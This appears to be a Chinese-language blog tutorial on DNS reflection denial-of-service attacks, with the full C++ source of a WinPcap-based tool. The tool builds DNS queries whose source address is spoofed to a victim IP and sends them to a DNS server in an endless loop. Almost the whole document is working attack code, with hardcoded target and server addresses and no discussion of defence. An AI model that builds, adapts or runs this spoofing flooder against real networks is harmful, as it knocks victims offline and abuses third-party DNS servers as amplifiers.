DNS反射攻击
DNS反射攻击利用DNS协议的安全漏洞进行的攻击的拒绝访问攻击方式,攻击者利用僵尸网络向DNS服务器发送DNS请求,并将请求数据包的源地址设置为受害者。原理简单,但效果明显。
首先,在僵尸机上需要安装wpcap,用于发送携带虚拟源地址IP数据包。
然后,构造攻击数据包。
简单的实现方式如下:
封装wpcap为MPcap类
View Code
#pragma once #include <vector> using namespace std; #include <pcap.h> typedef struct { string name, desc, addrs; }Device, *PDevice; class MPcap { pcap_t *dev; vector<PDevice> pdevs; public: MPcap(void); virtual ~MPcap(void); int ReadDevices(char *errbuf); vector<PDevice> GetDevices(){return pdevs;} int Open(const char *dname, char* errbuff); int Send(void* pkt, int len, char* errbuff); };
View Code
#include "StdAfx.h" #include "MPcap.h" #include "defs.h" #include <pcap.h> #include <WinSock2.h> #define DeviceDesc(desc, buff) do{ \ strncpy(buff, strchr(desc, '\'') + 1, strrchr(desc, '\'') - strchr(desc, '\'') - 1); \ buff[strrchr(desc, '\'') - strchr(desc, '\'') - 1] = 0;\ }while(0) #define DeviceName(name, buff) do{ \ strcpy(buff, strchr(name, '\\')); \ }while(0) MPcap::MPcap(void) { } MPcap::~MPcap(void) { while(!pdevs.empty()){ PDevice pdev = pdevs.back(); delete pdev; pdevs.pop_back(); } } int MPcap::ReadDevices(char *errbuf) { /*1. 获得设备链表*/ pcap_if_t *alldevs; if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf)) { return -1; } for(pcap_if_t* d=alldevs; d; d=d->next) { char buff[256]; PDevice pdev = new Device; DeviceName(d->name, buff); pdev->name = buff; DeviceDesc(d->description, buff); pdev->desc = buff; pdev->addrs = ""; for(pcap_addr_t *paddr = d->addresses; paddr; paddr = paddr->next){ switch(paddr->addr->sa_family) { case AF_INET: if (paddr->addr){ pdev->addrs += hntoa(((struct sockaddr_in *)paddr->addr)->sin_addr.s_addr); pdev->addrs += "; "; } break; default: break; } } pdevs.push_back(pdev); } /*释放设备链表所占据的空间*/ pcap_freealldevs(alldevs); return 0; } int MPcap::Open(const char *dname, char* errbuff) { dev = pcap_open(dname, 65535, PCAP_OPENFLAG_PROMISCUOUS, 100, NULL, errbuff); if(NULL == dev) { return -1; } return 0; } int MPcap::Send(void* pkt, int len, char* errbuff) { if (pcap_sendpacket(dev, (unsigned char*)pkt, len /* size */) != 0) { sprintf(errbuff,"\nError sending the packet: %s\n", pcap_geterr(dev)); return -1; } return 0; }
在main.cpp中实现攻击过程
View Code
// DoSReflect.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <pcap.h> #include "dataframes.h" #include "MPcap.h" #include <iostream> using namespace std; unsigned short CheckSum(void *buffer, int size) { unsigned long cksum = 0; unsigned short *chkbuff = (unsigned short *)buffer; while(size > 1) { cksum += *chkbuff++; size -= sizeof(unsigned short); } if(size) { cksum += *(unsigned char *)chkbuff; } while (cksum>>16) { cksum = (cksum>>16) + (cksum & 0xffff); } return (unsigned short) (~cksum); } int PacketSum(void *packet) { PDNS_t dns = (PDNS_t)packet; dns->IPHdr.Checksum = CheckSum(&dns->IPHdr, sizeof(IPHeader_t)); Psd_Header psd; int dlen = ntohs(dns->IPHdr.TotalLen) - sizeof(IPHeader_t); psd.destip = dns->IPHdr.DstIP; psd.sourceip = dns->IPHdr.SrcIP; psd.mbz = 0; psd.ptcl = dns->IPHdr.Protocol; psd.len = htons(dlen); unsigned short scsum = ~CheckSum(&dns->UDPHdr, dlen); unsigned long cs = scsum; cs <<= 16; scsum = ~CheckSum(&psd, sizeof(Psd_Header)); cs += scsum; dns->UDPHdr.Checksum = CheckSum(&cs, 4); return 0; } char* NameToString(const char *dname, char *str) { char *p = str; int di = 0, si = 1, cnt; while(dname[di] != 0){ cnt = 0; while(dname[di] != 0 && dname[di] != '.'){ str[si++] = dname[di++]; cnt++; } *p = cnt; if(!dname[di]){ str[si++] = 0; break; } p = str + si++; di++; } return str + si; } int FormatDNS(PDNS_t dns, unsigned int sip, unsigned int dip, const char *dname) { /*DNS*/ dns->DNSHdr.id = 0xd17d; dns->DNSHdr.flags = 0x01; dns->DNSHdr.questions = 0x0100; dns->DNSHdr.answers = 0; dns->DNSHdr.author = 0; dns->DNSHdr.addition = 0; char *buff = NameToString(dname, dns->Query); *buff = 0; buff++; *buff = 1; buff++; *buff = 0; buff++; *buff = 1; int len = buff - dns->Query + 1 + sizeof(DNSHeader_t) + sizeof(UDPHeader_t); /*UDP层*/ dns->UDPHdr.Checksum = 0; dns->UDPHdr.DPort = htons(53); dns->UDPHdr.SPort = htons(22244); dns->UDPHdr.Tlen = htons(len); len += sizeof(IPHeader_t); /*IP层*/ dns->IPHdr.Ver_HLen = 0x45; dns->IPHdr.TOS = 0; dns->IPHdr.TotalLen = htons(len); dns->IPHdr.ID = 0x73c7; dns->IPHdr.Flag_Segment = 0; dns->IPHdr.TTL = 0x80; dns->IPHdr.Protocol = 0x11; dns->IPHdr.Checksum = 0; dns->IPHdr.SrcIP = sip; dns->IPHdr.DstIP = dip; /*物理层*/ unsigned char dmac[] = {0x00,0x09,0x0f,0xa3,0x65,0x74}; memcpy(dns->FrameHdr.DesMAC, dmac, 6); unsigned char smac[] = {0x00,0x24,0xe8,0x41,0xdc,0x30}; memcpy(dns->FrameHdr.SrcMAC, smac, 6); dns->FrameHdr.FrameType = 8; PacketSum(dns); return len + sizeof(FrameHeader_t); } int _tmain(int argc, _TCHAR* argv[]) { MPcap cap; char errbuf[PCAP_ERRBUF_SIZE]; cout<<"获取网络设备:"<<endl; if(-1 == cap.ReadDevices(errbuf)){ cout<<errbuf<<endl; } vector<PDevice> pdevs = cap.GetDevices(); int cnt = 0; for(vector<PDevice>::iterator it = pdevs.begin(); it != pdevs.end(); it++){ cout<<'\t'<<++cnt<<". "<<((PDevice)*it)->name.c_str()<<endl; cout<<"\t\t"<<((PDevice)*it)->desc.c_str()<<endl; cout<<"\t\t"<<((PDevice)*it)->addrs.c_str()<<endl<<endl; } if(0 == cnt){ cout<<"没有找到合适的网络设备,请重新安装网卡驱动!"<<endl; return -1; } int index = 0; do{ cout<<"选择一个设备(1-"<<cnt<<"|0-退出):"; cin>>index; }while(index<=0 || index>cnt); if(0 == index) return 0; int result = cap.Open(pdevs[index-1]->name.c_str(), errbuf); if(-1 == result){ cout<<errbuf<<endl; return -1; } cout<<"\t绑定设备:"<<pdevs[index-1]->desc.c_str()<<endl; DNS_t dns; int len; len = FormatDNS(&dns, inet_addr("12.12.12.68"), inet_addr("202.113.16.10"), "www.qq.com"); cout<<"\t构造DNS数据报文: "<<len<<" 字节"<<endl; while(1){ if(-1 == cap.Send(&dns, len, errbuf)){ cout<<errbuf<<endl; return -1; } } cout<<"\t发送反射攻击数据包"<<endl; system("pause"); return 0; }
定义数据包结构体
View Code
#if !defined(__FRAME_H__) #define __FRAME_H__ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #pragma pack(1) typedef struct { unsigned char DesMAC[6]; unsigned char SrcMAC[6]; unsigned short FrameType; }FrameHeader_t; typedef struct { FrameHeader_t FrameHeadert; unsigned short HardwareType; unsigned short ProtocolType; unsigned char Hlen; unsigned char Plen; unsigned short Operation; unsigned char SendHa[6]; unsigned long SendIP; unsigned char RecvHa[6]; unsigned long RecvIP; }ARPFrame_t ; typedef struct { unsigned char Ver_HLen; // 4500 unsigned char TOS; // unsigned short TotalLen; // 0020 unsigned short ID; // 0000 unsigned short Flag_Segment; // 4000 unsigned char TTL; // 4011 unsigned char Protocol; // unsigned short Checksum; // 0000 unsigned long SrcIP; // 0c0c0c28 unsigned long DstIP; // 0c0c0cfc }IPHeader_t; typedef struct { unsigned short SPort; unsigned short DPort; unsigned short Tlen; unsigned short Checksum; }UDPHeader_t; typedef struct { unsigned short SPort; unsigned short DPort; unsigned long Seq; unsigned long Ack; unsigned short Len; unsigned short Size; unsigned short Checksum; unsigned short Merg; }TCPHeader_t; typedef struct { FrameHeader_t *FrameHeader; IPHeader_t *IPHeader; }Data_t; typedef struct { FrameHeader_t *FrameHeader; IPHeader_t *IPHeader; TCPHeader_t *TCPHeader; void *data; }TCP_t; typedef struct { FrameHeader_t *FrameHeader; IPHeader_t *IPHeader; UDPHeader_t *UDPHeader; void *data; }UDP_t; typedef struct // UDP 伪数据包头 { unsigned long sourceip; //源IP地址 unsigned long destip; //目的IP地址 unsigned char mbz; //置空(0) unsigned char ptcl; //协议类型(IPPROTO_UDP) unsigned short len; //UDP包总长度(单位:字节) }Psd_Header; /*DNS数据报头*/ typedef struct { unsigned short id; //标识,通过它客户端可以将DNS的请求与应答相匹配; unsigned short flags; //标志:(查询)0x0100 (应答)0x8180 这些数字都是主机序 unsigned short questions; //问题数目 unsigned short answers; //资源记录数目 unsigned short author; //授权资源记录数目 unsigned short addition; //额外资源记录数目 }DNSHeader_t; typedef struct { FrameHeader_t FrameHdr; IPHeader_t IPHdr; UDPHeader_t UDPHdr; DNSHeader_t DNSHdr; char Query[256]; }DNS_t, *PDNS_t; #pragma pack() #endif